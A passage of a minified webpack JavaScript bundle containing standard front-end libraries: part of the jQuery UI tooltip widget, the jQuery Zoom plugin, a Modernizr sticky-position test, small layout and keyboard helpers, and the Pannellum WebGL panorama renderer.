e=this._find(i);e&&this._removeTooltip(e.tooltip)}),t&&"mouseover"!==t.type||(n.mouseleave="close"),t&&"focusin"!==t.type||(n.focusout="close"),this._on(!0,i,n)},close:function(t){var i,n=this,r=e(t?t.currentTarget:this.element),s=this._find(r);s?(i=s.tooltip,s.closing||(clearInterval(this.delayedShow),r.data("ui-tooltip-title")&&!r.attr("title")&&r.attr("title",r.data("ui-tooltip-title")),this._removeDescribedBy(r),s.hiding=!0,i.stop(!0),this._hide(i,this.options.hide,(function(){n._removeTooltip(e(this))})),r.removeData("ui-tooltip-open"),this._off(r,"mouseleave focusout keyup"),r[0]!==this.element[0]&&this._off(r,"remove"),this._off(this.document,"mousemove"),t&&"mouseleave"===t.type&&e.each(this.parents,(function(t,i){e(i.element).attr("title",i.title),delete n.parents[t]})),s.closing=!0,this._trigger("close",t,{tooltip:i}),s.hiding||(s.closing=!1))):r.removeData("ui-tooltip-open")},_tooltip:function(t){var i=e("<div>").attr("role","tooltip"),n=e("<div>").appendTo(i),r=i.uniqueId().attr("id");return this._addClass(n,"ui-tooltip-content"),this._addClass(i,"ui-tooltip","ui-widget ui-widget-content"),i.appendTo(this._appendTo(t)),this.tooltips[r]={element:t,tooltip:i}},_find:function(e){return(e=e.data("ui-tooltip-id"))?this.tooltips[e]:null},_removeTooltip:function(e){clearInterval(this.delayedShow),e.remove(),delete this.tooltips[e.attr("id")]},_appendTo:function(e){return(e=e.closest(".ui-front, dialog")).length?e:this.document[0].body},_destroy:function(){var t=this;e.each(this.tooltips,(function(i,n){var r=e.Event("blur");n=n.element,r.target=r.currentTarget=n[0],t.close(r,!0),e("#"+i).remove(),n.data("ui-tooltip-title")&&(n.attr("title")||n.attr("title",n.data("ui-tooltip-title")),n.removeData("ui-tooltip-title"))})),this.liveRegion.remove()}}),!1!==e.uiBackCompat&&e.widget("ui.tooltip",e.ui.tooltip,{options:{tooltipClass:null},_tooltip:function(){var e=this._superApply(arguments);return this.options.tooltipClass&&e.tooltip.addClass(this.options.tooltipClass),e}}),e.ui.tooltip},void 0===(s=n.apply(t,r))||(e.exports=s)}()},72114:()=>{var e,t;e=window.jQuery,t={url:!1,callback:!1,target:!1,duration:120,on:"mouseover",touch:!0,onZoomIn:!1,onZoomOut:!1,magnify:1},e.zoom=function(t,i,n,r){var s,a,o,l,u,c,d,h=e(t),p=h.css("position"),f=e(i);return t.style.position=/(absolute|fixed)/.test(p)?p:"relative",t.style.overflow="hidden",n.style.width=n.style.height="",e(n).addClass("zoomImg").css({position:"absolute",top:0,left:0,opacity:0,width:n.width*r,height:n.height*r,border:"none",maxWidth:"none",maxHeight:"none"}).appendTo(t),{init:function(){a=h.outerWidth(),s=h.outerHeight(),i===t?(l=a,o=s):(l=f.outerWidth(),o=f.outerHeight()),u=(n.width-a)/l,c=(n.height-s)/o,d=f.offset()},move:function(e){var t=e.pageX-d.left,i=e.pageY-d.top;i=Math.max(Math.min(i,o),0),t=Math.max(Math.min(t,l),0),n.style.left=t*-u+"px",n.style.top=i*-c+"px"}}},e.fn.zoom=function(i){return this.each((function(){var n=e.extend({},t,i||{}),r=n.target&&e(n.target)[0]||this,s=this,a=e(s),o=document.createElement("img"),l=e(o),u="mousemove.zoom",c=!1,d=!1;if(!n.url){var h=s.querySelector("img");if(h&&(n.url=h.getAttribute("data-src")||h.currentSrc||h.src),!n.url)return}a.one("zoom.destroy",function(e,t){a.off(".zoom"),r.style.position=e,r.style.overflow=t,o.onload=null,l.remove()}.bind(this,r.style.position,r.style.overflow)),o.onload=function(){function t(t){h.init(),h.move(t),l.stop().fadeTo(e.support.opacity?n.duration:0,1,!!e.isFunction(n.onZoomIn)&&n.onZoomIn.call(o))}function i(){l.stop().fadeTo(n.duration,0,!!e.isFunction(n.onZoomOut)&&n.onZoomOut.call(o))}var h=e.zoom(r,s,o,n.magnify);"grab"===n.on?a.on("mousedown.zoom",(function(n){1===n.which&&(e(document).one("mouseup.zoom",(function(){i(),e(document).off(u,h.move)})),t(n),e(document).on(u,h.move),n.preventDefault())})):"click"===n.on?a.on("click.zoom",(function(n){return c?void 0:(c=!0,t(n),e(document).on(u,h.move),e(document).one("click.zoom",(function(){i(),c=!1,e(document).off(u,h.move)})),!1)})):"toggle"===n.on?a.on("click.zoom",(function(e){c?i():t(e),c=!c})):"mouseover"===n.on&&(h.init(),a.on("mouseenter.zoom",t).on("mouseleave.zoom",i).on(u,h.move)),n.touch&&a.on("touchstart.zoom",(function(e){e.preventDefault(),d?(d=!1,i()):(d=!0,t(e.originalEvent.touches[0]||e.originalEvent.changedTouches[0]))})).on("touchmove.zoom",(function(e){e.preventDefault(),h.move(e.originalEvent.touches[0]||e.originalEvent.changedTouches[0])})).on("touchend.zoom",(function(e){e.preventDefault(),d&&(d=!1,i())})),e.isFunction(n.callback)&&n.callback.call(o)},o.setAttribute("role","presentation"),o.alt="",o.src=n.url}))},e.fn.zoom.defaults=t},20745:()=>{{const e=function(e,t){return e.keyCode===t||e.key===t||e.which===t||e.code===t||e.charCode===t};$(document).on("keypress",".JS-spacebar-to-click",(function(t){e(t,32)&&(t.preventDefault(),t.stopPropagation(),$(this).click())}))}},54305:()=>{!function(e,t,i){function n(e,t){return typeof e===t}function r(){return"function"!=typeof t.createElement?t.createElement(arguments[0]):c?t.createElementNS.call(t,"http://www.w3.org/2000/svg",arguments[0]):t.createElement.apply(t,arguments)}var s=[],a=[],o={_version:"3.6.0",_config:{classPrefix:"",enableClasses:!0,enableJSClass:!0,usePrefixes:!0},_q:[],on:function(e,t){var i=this;setTimeout((function(){t(i[e])}),0)},addTest:function(e,t,i){a.push({name:e,fn:t,options:i})},addAsyncTest:function(e){a.push({name:null,fn:e})}},l=function(){};l.prototype=o,l=new l;var u=t.documentElement,c="svg"===u.nodeName.toLowerCase(),d=o._config.usePrefixes?" -webkit- -moz- -o- -ms- ".split(" "):["",""];o._prefixes=d,l.addTest("csspositionsticky",(function(){var e="position:",t="sticky",i=r("a").style;return i.cssText=e+d.join(t+";"+e).slice(0,-9),-1!==i.position.indexOf(t)})),function(){var e,t,i,r,o,u;for(var c in a)if(a.hasOwnProperty(c)){if(e=[],(t=a[c]).name&&(e.push(t.name.toLowerCase()),t.options&&t.options.aliases&&t.options.aliases.length))for(i=0;i<t.options.aliases.length;i++)e.push(t.options.aliases[i].toLowerCase());for(r=n(t.fn,"function")?t.fn():t.fn,o=0;o<e.length;o++)1===(u=e[o].split(".")).length?l[u[0]]=r:(!l[u[0]]||l[u[0]]instanceof Boolean||(l[u[0]]=new Boolean(l[u[0]])),l[u[0]][u[1]]=r),s.push((r?"":"no-")+u.join("-"))}}(),function(e){var t=u.className,i=l._config.classPrefix||"";if(c&&(t=t.baseVal),l._config.enableJSClass){var n=new RegExp("(^|\\s)"+i+"no-js(\\s|$)");t=t.replace(n,"$1"+i+"js$2")}l._config.enableClasses&&(t+=" "+i+e.join(" "+i),c?u.className.baseVal=t:u.className=t)}(s),delete o.addTest,delete o.addAsyncTest;for(var h=0;h<l._q.length;h++)l._q[h]();e.Modernizr=l}(window,document)},38096:()=>{const e=".JS-overflow";function t(){var t;$(e).length>0&&((t=$(e)[0]).scrollHeight>t.clientHeight||t.scrollWidth>t.clientWidth?($(".hideMobile>.row>.col-md-12>".concat(e)).css({"justify-content":"","overflow-x":"scroll"}),$(".hideDesktop>.row>.col-md-12>".concat(e)).css({"justify-content":"center","overflow-x":""})):$(e).css({"justify-content":"center"}))}$(document).ready((()=>{t()})),$(window).on("resize",(()=>{t()}))},42077:()=>{window.libpannellum=function(e,t,i){function n(n){function c(e,t){return 1==e.level&&1!=t.level?-1:1==t.level&&1!=e.level?1:t.timestamp-e.timestamp}function d(e,t){return e.level!=t.level?e.level-t.level:e.diff-t.diff}function h(e,t,i,n,r,s){this.vertices=e,this.side=t,this.level=i,this.x=n,this.y=r,this.path=s.replace("%s",t).replace("%l",i).replace("%x",n).replace("%y",r)}function p(e,t,i,n,r){var s;s=_(e,(l=t.vertices).slice(0,3));var a=_(e,l.slice(3,6)),o=_(e,l.slice(6,9)),l=_(e,l.slice(9,12)),u=s[0]+a[0]+o[0]+l[0];if(s=-4!=u&&4!=u&&-4!=(u=s[1]+a[1]+o[1]+l[1])&&4!=u&&4!=s[2]+a[2]+o[2]+l[2]){for(a=(s=t.vertices)[0]+s[3]+s[6]+s[9],o=s[1]+s[4]+s[7]+s[10],l=s[2]+s[5]+s[8]+s[11],u=Math.sqrt(a*a+o*o+l*l),l=Math.asin(l/u),a=Math.atan2(o,a)-n,a+=a>Math.PI?-2*Math.PI:a<-Math.PI?2*Math.PI:0,a=Math.abs(a),t.diff=Math.acos(Math.sin(i)*Math.sin(l)+Math.cos(i)*Math.cos(l)*Math.cos(a)),a=!1,o=0;o<y.nodeCache.length;o++)if(y.nodeCache[o].path==t.path){a=!0,y.nodeCache[o].timestamp=y.nodeCacheTimestamp++,y.nodeCache[o].diff=t.diff,y.currentNodes.push(y.nodeCache[o]);break}if(a||(t.timestamp=y.nodeCacheTimestamp++,y.currentNodes.push(t),y.nodeCache.push(t)),t.level<y.level){l=L.cubeResolution*Math.pow(2,t.level-L.maxLevel),a=Math.ceil(l*L.invTileResolution)-1,o=l%L.tileResolution*2;var c=2*l%L.tileResolution;0===c&&(c=L.tileResolution),0===o&&(o=2*L.tileResolution),u=.5,t.x!=a&&t.y!=a||(u=1-L.tileResolution/(L.tileResolution+c));var d=1-u,f=(l=[],u),m=u,g=u,v=d,b=d,w=d;for(c<L.tileResolution&&(t.x==a&&t.y!=a?(b=m=.5,("d"==t.side||"u"==t.side)&&(w=g=.5)):t.x!=a&&t.y==a&&(v=f=.5,"l"==t.side||"r"==t.side)&&(w=g=.5)),o<=L.tileResolution&&(t.x==a&&(f=0,v=1,"l"==t.side||"r"==t.side)&&(g=0,w=1),t.y==a&&(m=0,b=1,"d"==t.side||"u"==t.side)&&(g=0,w=1)),c=new h(c=[s[0],s[1],s[2],s[0]*f+s[3]*v,s[1]*u+s[4]*d,s[2]*g+s[5]*w,s[0]*f+s[6]*v,s[1]*m+s[7]*b,s[2]*g+s[8]*w,s[0]*u+s[9]*d,s[1]*m+s[10]*b,s[2]*g+s[11]*w],t.side,t.level+1,2*t.x,2*t.y,L.fullpath),l.push(c),t.x==a&&o<=L.tileResolution||(c=new h(c=[s[0]*f+s[3]*v,s[1]*u+s[4]*d,s[2]*g+s[5]*w,s[3],s[4],s[5],s[3]*u+s[6]*d,s[4]*m+s[7]*b,s[5]*g+s[8]*w,s[0]*f+s[6]*v,s[1]*m+s[7]*b,s[2]*g+s[8]*w],t.side,t.level+1,2*t.x+1,2*t.y,L.fullpath),l.push(c)),t.x==a&&o<=L.tileResolution||t.y==a&&o<=L.tileResolution||(c=new h(c=[s[0]*f+s[6]*v,s[1]*m+s[7]*b,s[2]*g+s[8]*w,s[3]*u+s[6]*d,s[4]*m+s[7]*b,s[5]*g+s[8]*w,s[6],s[7],s[8],s[9]*f+s[6]*v,s[10]*u+s[7]*d,s[11]*g+s[8]*w],t.side,t.level+1,2*t.x+1,2*t.y+1,L.fullpath),l.push(c)),t.y==a&&o<=L.tileResolution||(c=new h(c=[s[0]*u+s[9]*d,s[1]*m+s[10]*b,s[2]*g+s[11]*w,s[0]*f+s[6]*v,s[1]*m+s[7]*b,s[2]*g+s[8]*w,s[9]*f+s[6]*v,s[10]*u+s[7]*d,s[11]*g+s[8]*w,s[9],s[10],s[11]],t.side,t.level+1,2*t.x,2*t.y+1,L.fullpath),l.push(c)),t=0;t<l.length;t++)p(e,l[t],i,n,r)}}}function f(e,t,i){var n=Math.sin(t);return t=Math.cos(t),"x"==i?[e[0],t*e[1]+n*e[2],t*e[2]-n*e[1],e[3],t*e[4]+n*e[5],t*e[5]-n*e[4],e[6],t*e[7]+n*e[8],t*e[8]-n*e[7]]:"y"==i?[t*e[0]-n*e[2],e[1],t*e[2]+n*e[0],t*e[3]-n*e[5],e[4],t*e[5]+n*e[3],t*e[6]-n*e[8],e[7],t*e[8]+n*e[6]]:"z"==i?[t*e[0]+n*e[1],t*e[1]-n*e[0],e[2],t*e[3]+n*e[4],t*e[4]-n*e[3],e[5],t*e[6]+n*e[7],t*e[7]-n*e[6],e[8]]:void 0}function m(e){return[e[0],e[4],e[8],e[12],e[1],e[5],e[9],e[13],e[2],e[6],e[10],e[14],e[3],e[7],e[11],e[15]]}function g(e){j(e,e.path+"."+L.extension,(function(t,i){e.texture=t,e.textureLoaded=i?2:1}),O.crossOrigin)}function _(e,t){var i=(r=[e[0]*t[0]+e[1]*t[1]+e[2]*t[2],e[4]*t[0]+e[5]*t[1]+e[6]*t[2],e[11]+e[8]*t[0]+e[9]*t[1]+e[10]*t[2],1/(e[12]*t[0]+e[13]*t[1]+e[14]*t[2])])[0]*r[3],n=r[1]*r[3],r=r[2]*r[3],s=[0,0,0];return-1>i&&(s[0]=-1),1<i&&(s[0]=1),-1>n&&(s[1]=-1),1<n&&(s[1]=1),(-1>r||1<r)&&(s[2]=1),s}function v(){console.log("Reducing canvas size due to error 1286!"),Y.width=Math.round(Y.width/2),Y.height=Math.round(Y.height/2)}var y,b,w,T,k,S,M,x,L,C,D,E,P,A,I,O,Y=t.createElement("canvas");Y.style.width=Y.style.height="100%",n.appendChild(Y),this.init=function(e,c,d,h,p,f,m,g){function _(e){if(N){var t=e*e*4,i=new Uint8ClampedArray(t),n=g.backgroundColor?g.backgroundColor:[0,0,0];n[0]*=255,n[1]*=255,n[2]*=255;for(var r=0;r<t;r++)i[r++]=n[0],i[r++]=n[1],i[r++]=n[2];for(e=new ImageData(i,e,e),$=0;6>$;$++)0==L[$].width&&(L[$]=e)}}if(c===i&&(c="equirectangular"),"equirectangular"!=c&&"cubemap"!=c&&"multires"!=c)throw console.log("Error: invalid image type specified!"),{type:"config error"};if(C=c,L=e,D=d,O=g||{},y){if(w&&(b.detachShader(y,w),b.deleteShader(w)),T&&(b.detachShader(y,T),b.deleteShader(T)),b.bindBuffer(b.ARRAY_BUFFER,null),b.bindBuffer(b.ELEMENT_ARRAY_BUFFER,null),y.texture&&b.deleteTexture(y.texture),y.nodeCache)for(e=0;e<y.nodeCache.length;e++)b.deleteTexture(y.nodeCache[e].texture);b.deleteProgram(y),y=i}x=i;var $,j,N=!1;if("cubemap"==C)for($=0;6>$;$++)0<L[$].width?(j===i&&(j=L[$].width),j!=L[$].width&&console.log("Cube faces have inconsistent widths: "+j+" vs. "+L[$].width)):N=!0;if("cubemap"==C&&0!=(j&j-1)&&(navigator.userAgent.toLowerCase().match(/(iphone|ipod|ipad).* os 8_/)||navigator.userAgent.toLowerCase().match(/(iphone|ipod|ipad).* os 9_/)||navigator.userAgent.toLowerCase().match(/(iphone|ipod|ipad).* os 10_/)||navigator.userAgent.match(/Trident.*rv[ :]*11\./))||(b||(b=Y.getContext("experimental-webgl",{alpha:!1,depth:!1})),b&&1286==b.getError()&&v()),!b&&("multires"==C&&L.hasOwnProperty("fallbackPath")||"cubemap"==C)&&("WebkitAppearance"in t.documentElement.style||navigator.userAgent.match(/Trident.*rv[ :]*11\./)||-1!==navigator.appVersion.indexOf("MSIE 10"))){S&&n.removeChild(S),(S=t.createElement("div")).className="pnlm-world",h=L.basePath?L.basePath+L.fallbackPath:L.fallbackPath;var R="frblud".split(""),H=0;p=function(){var e=t.createElement("canvas");e.className="pnlm-face pnlm-"+R[this.side]+"face",S.appendChild(e);var i=e.getContext("2d");e.style.width=this.width+4+"px",e.style.height=this.height+4+"px",e.width=this.width+4,e.height=this.height+4,i.drawImage(this,2,2);var n,r,s=i.getImageData(0,0,e.width,e.height),a=s.data;for(n=2;n<e.width-2;n++)for(r=0;4>r;r++)a[4*(n+e.width)+r]=a[4*(n+2*e.width)+r],a[4*(n+e.width*(e.height-2))+r]=a[4*(n+e.width*(e.height-3))+r];for(n=2;n<e.height-2;n++)for(r=0;4>r;r++)a[4*(n*e.width+1)+r]=a[4*(n*e.width+2)+r],a[4*((n+1)*e.width-2)+r]=a[4*((n+1)*e.width-3)+r];for(r=0;4>r;r++)a[4*(e.width+1)+r]=a[4*(2*e.width+2)+r],a[4*(2*e.width-2)+r]=a[4*(3*e.width-3)+r],a[4*(e.width*(e.height-2)+1)+r]=a[4*(e.width*(e.height-3)+2)+r],a[4*(e.width*(e.height-1)-2)+r]=a[4*(e.width*(e.height-2)-3)+r];for(n=1;n<e.width-1;n++)for(r=0;4>r;r++)a[4*n+r]=a[4*(n+e.width)+r],a[4*(n+e.width*(e.height-1))+r]=a[4*(n+e.width*(e.height-2))+r];for(n=1;n<e.height-1;n++)for(r=0;4>r;r++)a[n*e.width*4+r]=a[4*(n*e.width+1)+r],a[4*((n+1)*e.width-1)+r]=a[4*((n+1)*e.width-2)+r];for(r=0;4>r;r++)a[r]=a[4*(e.width+1)+r],a[4*(e.width-1)+r]=a[4*(2*e.width-2)+r],a[e.width*(e.height-1)*4+r]=a[4*(e.width*(e.height-2)+1)+r],a[4*(e.width*e.height-1)+r]=a[4*(e.width*(e.height-1)-2)+r];i.putImageData(s,0,0),F.call(this)};var F=function(){0<this.width?(k===i&&(k=this.width),k!=this.width&&console.log("Fallback faces have inconsistent widths: "+k+" vs. "+this.width)):N=!0,6==++H&&(k=this.width,n.appendChild(S),m())};for(N=!1,$=0;6>$;$++)(f=new Image).crossOrigin=O.crossOrigin?O.crossOrigin:"anonymous",f.side=$,f.onload=p,f.onerror=F,f.src="multires"==C?h.replace("%s",R[$])+"."+L.extension:L[$].src;_(k)}else{if(!b)throw console.log("Error: no WebGL support detected!"),{type:"no webgl"};for("cubemap"==C&&_(j),L.fullpath=L.basePath?L.basePath+L.path:L.path,L.invTileResolution=1/L.tileResolution,e=[-1,1,-1,1,1,-1,1,-1,-1,-1,-1,-1,1,1,1,-1,1,1,-1,-1,1,1,-1,1,-1,1,1,1,1,1,1,1,-1,-1,1,-1,-1,-1,-1,1,-1,-1,1,-1,1,-1,-1,1,-1,1,1,-1,1,-1,-1,-1,-1,-1,-1,1,1,1,-1,1,1,1,1,-1,1,1,-1,-1],M=[],$=0;6>$;$++)M[$]=e.slice(12*$,12*$+12),e=[-1,1,-1,1,1,-1,1,-1,-1,-1,-1,-1,1,1,1,-1,1,1,-1,-1,1,1,-1,1,-1,1,1,1,1,1,1,1,-1,-1,1,-1,-1,-1,-1,1,-1,-1,1,-1,1,-1,-1,1,-1,1,1,-1,1,-1,-1,-1,-1,-1,-1,1,1,1,-1,1,1,1,1,-1,1,1,-1,-1];if(e=0,"equirectangular"==C){if(e=b.getParameter(b.MAX_TEXTURE_SIZE),Math.max(L.width/2,L.height)>e)throw console.log("Error: The image is too big; it's "+L.width+"px wide, but this device's maximum supported size is "+2*e+"px."),{type:"webgl size error",width:L.width,maxWidth:2*e}}else if("cubemap"==C&&j>b.getParameter(b.MAX_CUBE_MAP_TEXTURE_SIZE))throw console.log("Error: The image is too big; it's "+j+"px wide, but this device's maximum supported size is "+e+"px."),{type:"webgl size error",width:j,maxWidth:e};if(g===i||g.horizonPitch===i&&g.horizonRoll===i||(x=[g.horizonPitch==i?0:g.horizonPitch,g.horizonRoll==i?0:g.horizonRoll]),j=b.TEXTURE_2D,b.viewport(0,0,b.drawingBufferWidth,b.drawingBufferHeight),b.getShaderPrecisionFormat&&(c=b.getShaderPrecisionFormat(b.FRAGMENT_SHADER,b.HIGH_FLOAT))&&1>c.precision&&(a=a.replace("highp","mediump")),w=b.createShader(b.VERTEX_SHADER),c=r,"multires"==C&&(c=s),b.shaderSource(w,c),b.compileShader(w),T=b.createShader(b.FRAGMENT_SHADER),c=l,"cubemap"==C?(j=b.TEXTURE_CUBE_MAP,c=o):"multires"==C&&(c=u),b.shaderSource(T,c),b.compileShader(T),y=b.createProgram(),b.attachShader(y,w),b.attachShader(y,T),b.linkProgram(y),b.getShaderParameter(w,b.COMPILE_STATUS)||console.log(b.getShaderInfoLog(w)),b.getShaderParameter(T,b.COMPILE_STATUS)||console.log(b.getShaderInfoLog(T)),b.getProgramParameter(y,b.LINK_STATUS)||console.log(b.getProgramInfoLog(y)),b.useProgram(y),y.drawInProgress=!1,c=g.backgroundColor?g.backgroundColor:[0,0,0],b.clearColor(c[0],c[1],c[2],1),b.clear(b.COLOR_BUFFER_BIT),y.texCoordLocation=b.getAttribLocation(y,"a_texCoord"),b.enableVertexAttribArray(y.texCoordLocation),"multires"!=C?(E||(E=b.createBuffer()),b.bindBuffer(b.ARRAY_BUFFER,E),b.bufferData(b.ARRAY_BUFFER,new Float32Array([-1,1,1,1,1,-1,-1,1,1,-1,-1,-1]),b.STATIC_DRAW),b.vertexAttribPointer(y.texCoordLocation,2,b.FLOAT,!1,0,0),y.aspectRatio=b.getUniformLocation(y,"u_aspectRatio"),b.uniform1f(y.aspectRatio,b.drawingBufferWidth/b.drawingBufferHeight),y.psi=b.getUniformLocation(y,"u_psi"),y.theta=b.getUniformLocation(y,"u_theta"),y.f=b.getUniformLocation(y,"u_f"),y.h=b.getUniformLocation(y,"u_h"),y.v=b.getUniformLocation(y,"u_v"),y.vo=b.getUniformLocation(y,"u_vo"),y.rot=b.getUniformLocation(y,"u_rot"),b.uniform1f(y.h,h/(2*Math.PI)),b.uniform1f(y.v,p/Math.PI),b.uniform1f(y.vo,f/Math.PI*2),"equirectangular"==C&&(y.backgroundColor=b.getUniformLocation(y,"u_backgroundColor"),b.uniform4fv(y.backgroundColor,c.concat([1]))),y.texture=b.createTexture(),b.bindTexture(j,y.texture),"cubemap"==C?(b.texImage2D(b.TEXTURE_CUBE_MAP_POSITIVE_X,0,b.RGB,b.RGB,b.UNSIGNED_BYTE,L[1]),b.texImage2D(b.TEXTURE_CUBE_MAP_NEGATIVE_X,0,b.RGB,b.RGB,b.UNSIGNED_BYTE,L[3]),b.texImage2D(b.TEXTURE_CUBE_MAP_POSITIVE_Y,0,b.RGB,b.RGB,b.UNSIGNED_BYTE,L[4]),b.texImage2D(b.TEXTURE_CUBE_MAP_NEGATIVE_Y,0,b.RGB,b.RGB,b.UNSIGNED_BYTE,L[5]),b.texImage2D(b.TEXTURE_CUBE_MAP_POSITIVE_Z,0,b.RGB,b.RGB,b.UNSIGNED_BYTE,L[0]),b.texImage2D(b.TEXTURE_CUBE_MAP_NEGATIVE_Z,0,b.RGB,b.RGB,b.UNSIGNED_BYTE,L[2])):L.width<=e?(b.uniform1i(b.getUniformLocation(y,"u_splitImage"),0),b.texImage2D(j,0,b.RGB,b.RGB,b.UNSIGNED_BYTE,L)):(b.uniform1i(b.getUniformLocation(y,"u_splitImage"),1),(h=t.createElement("canvas")).width=L.width/2,h.height=L.height,(h=h.getContext("2d")).drawImage(L,0,0),p=h.getImageData(0,0,L.width/2,L.height),b.texImage2D(j,0,b.RGB,b.RGB,b.UNSIGNED_BYTE,p),y.texture2=b.createTexture(),b.activeTexture(b.TEXTURE1),b.bindTexture(j,y.texture2),b.uniform1i(b.getUniformLocation(y,"u_image1"),1),h.drawImage(L,-L.width/2,0),p=h.getImageData(0,0,L.width/2,L.height),b.texImage2D(j,0,b.RGB,b.RGB,b.UNSIGNED_BYTE,p),b.texParameteri(j,b.TEXTURE_WRAP_S,b.CLAMP_TO_EDGE),b.texParameteri(j,b.TEXTURE_WRAP_T,b.CLAMP_TO_EDGE),b.texParameteri(j,b.TEXTURE_MIN_FILTER,b.LINEAR),b.texParameteri(j,b.TEXTURE_MAG_FILTER,b.LINEAR),b.activeTexture(b.TEXTURE0)),b.texParameteri(j,b.TEXTURE_WRAP_S,b.CLAMP_TO_EDGE),b.texParameteri(j,b.TEXTURE_WRAP_T,b.CLAMP_TO_EDGE),b.texParameteri(j,b.TEXTURE_MIN_FILTER,b.LINEAR),b.texParameteri(j,b.TEXTURE_MAG_FILTER,b.LINEAR)):(y.vertPosLocation=b.getAttribLocation(y,"a_vertCoord"),b.enableVertexAttribArray(y.vertPosLocation),P||(P=b.createBuffer()),A||(A=b.createBuffer()),I||(I=b.createBuffer()),b.bindBuffer(b.ARRAY_BUFFER,A),b.bufferData(b.ARRAY_BUFFER,new Float32Array([0,0,1,0,1,1,0,1]),b.STATIC_DRAW),b.bindBuffer(b.ELEMENT_ARRAY_BUFFER,I),b.bufferData(b.ELEMENT_ARRAY_BUFFER,new Uint16Array([0,1,2,0,2,3]),b.STATIC_DRAW),y.perspUniform=b.getUniformLocation(y,"u_perspMatrix"),y.cubeUniform=b.getUniformLocation(y,"u_cubeMatrix"),y.level=-1,y.currentNodes=[],y.nodeCache=[],y.nodeCacheTimestamp=0),0!==(h=b.getError()))throw console.log("Error: Something went wrong with WebGL!",h),{type:"webgl error"};m()}},this.destroy=function(){if(n!==i&&(Y!==i&&n.contains(Y)&&n.removeChild(Y),S!==i&&n.contains(S)&&n.removeChild(S)),b){var e=b.getExtension("WEBGL_lose_context");e&&e.loseContext()}},this.resize=function(){var t=e.devicePixelRatio||1;Y.width=Y.clientWidth*t,Y.height=Y.clientHeight*t,b&&(1286==b.getError()&&v(),b.viewport(0,0,b.drawingBufferWidth,b.drawingBufferHeight),"multires"!=C&&b.uniform1f(y.aspectRatio,Y.clientWidth/Y.clientHeight))},this.resize(),this.setPose=function(e,t){x=[e,t]},this.render=function(e,t,n,r){var s,a=0;if(r===i&&(r={}),r.roll&&(a=r.roll),x!==i){s=x[0];var o=x[1],l=e,u=t,_=Math.cos(o)*Math.sin(e)*Math.sin(s)+Math.cos(e)*(Math.cos(s)*Math.cos(t)+Math.sin(o)*Math.sin(s)*Math.sin(t)),v=-Math.sin(e)*Math.sin(o)+Math.cos(e)*Math.cos(o)*Math.sin(t);e=Math.cos(o)*Math.cos(s)*Math.sin(e)+Math.cos(e)*(-Math.cos(t)*Math.sin(s)+Math.cos(s)*Math.sin(o)*Math.sin(t)),e=Math.asin(Math.max(Math.min(e,1),-1)),t=Math.atan2(v,_),s=[Math.cos(l)*(Math.sin(o)*Math.sin(s)*Math.cos(u)-Math.cos(s)*Math.sin(u)),Math.cos(l)*Math.cos(o)*Math.cos(u),Math.cos(l)*(Math.cos(s)*Math.sin(o)*Math.cos(u)+Math.sin(u)*Math.sin(s))],o=[-Math.cos(e)*Math.sin(t),Math.cos(e)*Math.cos(t)],o=Math.acos(Math.max(Math.min((s[0]*o[0]+s[1]*o[1])/(Math.sqrt(s[0]*s[0]+s[1]*s[1]+s[2]*s[2])*Math.sqrt(o[0]*o[0]+o[1]*o[1])),1),-1)),0>s[2]&&(o=2*Math.PI-o),a+=o}if(b||"multires"!=C&&"cubemap"!=C){if("multires"!=C)n=2*Math.atan(Math.tan(.5*n)/(b.drawingBufferWidth/b.drawingBufferHeight)),n=1/Math.tan(.5*n),b.uniform1f(y.psi,t),b.uniform1f(y.theta,e),b.uniform1f(y.rot,a),b.uniform1f(y.f,n),!0===D&&"equirectangular"==C&&(b.bindTexture(b.TEXTURE_2D,y.texture),b.texImage2D(b.TEXTURE_2D,0,b.RGB,b.RGB,b.UNSIGNED_BYTE,L)),b.drawArrays(b.TRIANGLES,0,6);else{for(s=b.drawingBufferWidth/b.drawingBufferHeight,o=2*Math.atan(Math.tan(n/2)*b.drawingBufferHeight/b.drawingBufferWidth),s=[(o=1/Math.tan(o/2))/s,0,0,0,0,o,0,0,0,0,100.1/-99.9,20/-99.9,0,0,-1,0],o=1;o<L.maxLevel&&b.drawingBufferWidth>L.tileResolution*Math.pow(2,o-1)*Math.tan(n/2)*.707;)o++;if(y.level=o,o=f(o=[1,0,0,0,1,0,0,0,1],-a,"z"),o=f(o,-e,"x"),o=[(o=f(o,t,"y"))[0],o[1],o[2],0,o[3],o[4],o[5],0,o[6],o[7],o[8],0,0,0,0,1],b.uniformMatrix4fv(y.perspUniform,!1,new Float32Array(m(s))),b.uniformMatrix4fv(y.cubeUniform,!1,new Float32Array(m(o))),a=[s[0]*o[0],s[0]*o[1],s[0]*o[2],0,s[5]*o[4],s[5]*o[5],s[5]*o[6],0,s[10]*o[8],s[10]*o[9],s[10]*o[10],s[11],-o[8],-o[9],-o[10],0],y.nodeCache.sort(c),200<y.nodeCache.length&&y.nodeCache.length>y.currentNodes.length+50)for(s=y.nodeCache.splice(200,y.nodeCache.length-200),o=0;o<s.length;o++)b.deleteTexture(s[o].texture);for(y.currentNodes=[],o="fbudlr".split(""),s=0;6>s;s++)p(a,l=new h(M[s],o[s],1,0,0,L.fullpath),e,t,n);for(y.currentNodes.sort(d),e=$.length-1;0<=e;e--)-1===y.currentNodes.indexOf($[e].node)&&($[e].node.textureLoad=!1,$.splice(e,1));if(0===$.length)for(e=0;e<y.currentNodes.length;e++)if(!(t=y.currentNodes[e]).texture&&!t.textureLoad){t.textureLoad=!0,setTimeout(g,0,t);break}if(!y.drawInProgress){for(y.drawInProgress=!0,b.clear(b.COLOR_BUFFER_BIT),e=0;e<y.currentNodes.length;e++)1<y.currentNodes[e].textureLoaded&&(b.bindBuffer(b.ARRAY_BUFFER,P),b.bufferData(b.ARRAY_BUFFER,new Float32Array(y.currentNodes[e].vertices),b.STATIC_DRAW),b.vertexAttribPointer(y.vertPosLocation,3,b.FLOAT,!1,0,0),b.bindBuffer(b.ARRAY_BUFFER,A),b.vertexAttribPointer(y.texCoordLocation,2,b.FLOAT,!1,0,0),b.bindTexture(b.TEXTURE_2D,y.currentNodes[e].texture),b.drawElements(b.TRIANGLES,6,b.UNSIGNED_SHORT,0));y.drawInProgress=!1}}if(r.returnImage!==i)return Y.toDataURL("image/png")}else for(r={f:"translate3d(-"+(2+(s=k/2))+"px, -"+(s+2)+"px, -"+s+"px)",b:"translate3d("+(s+2)+"px, -"+(s+2)+"px, "+s+"px) rotateX(180deg) rotateZ(180deg)",u:"translate3d(-"+(s+2)+"px, -"+s+"px, "+(s+2)+"px) 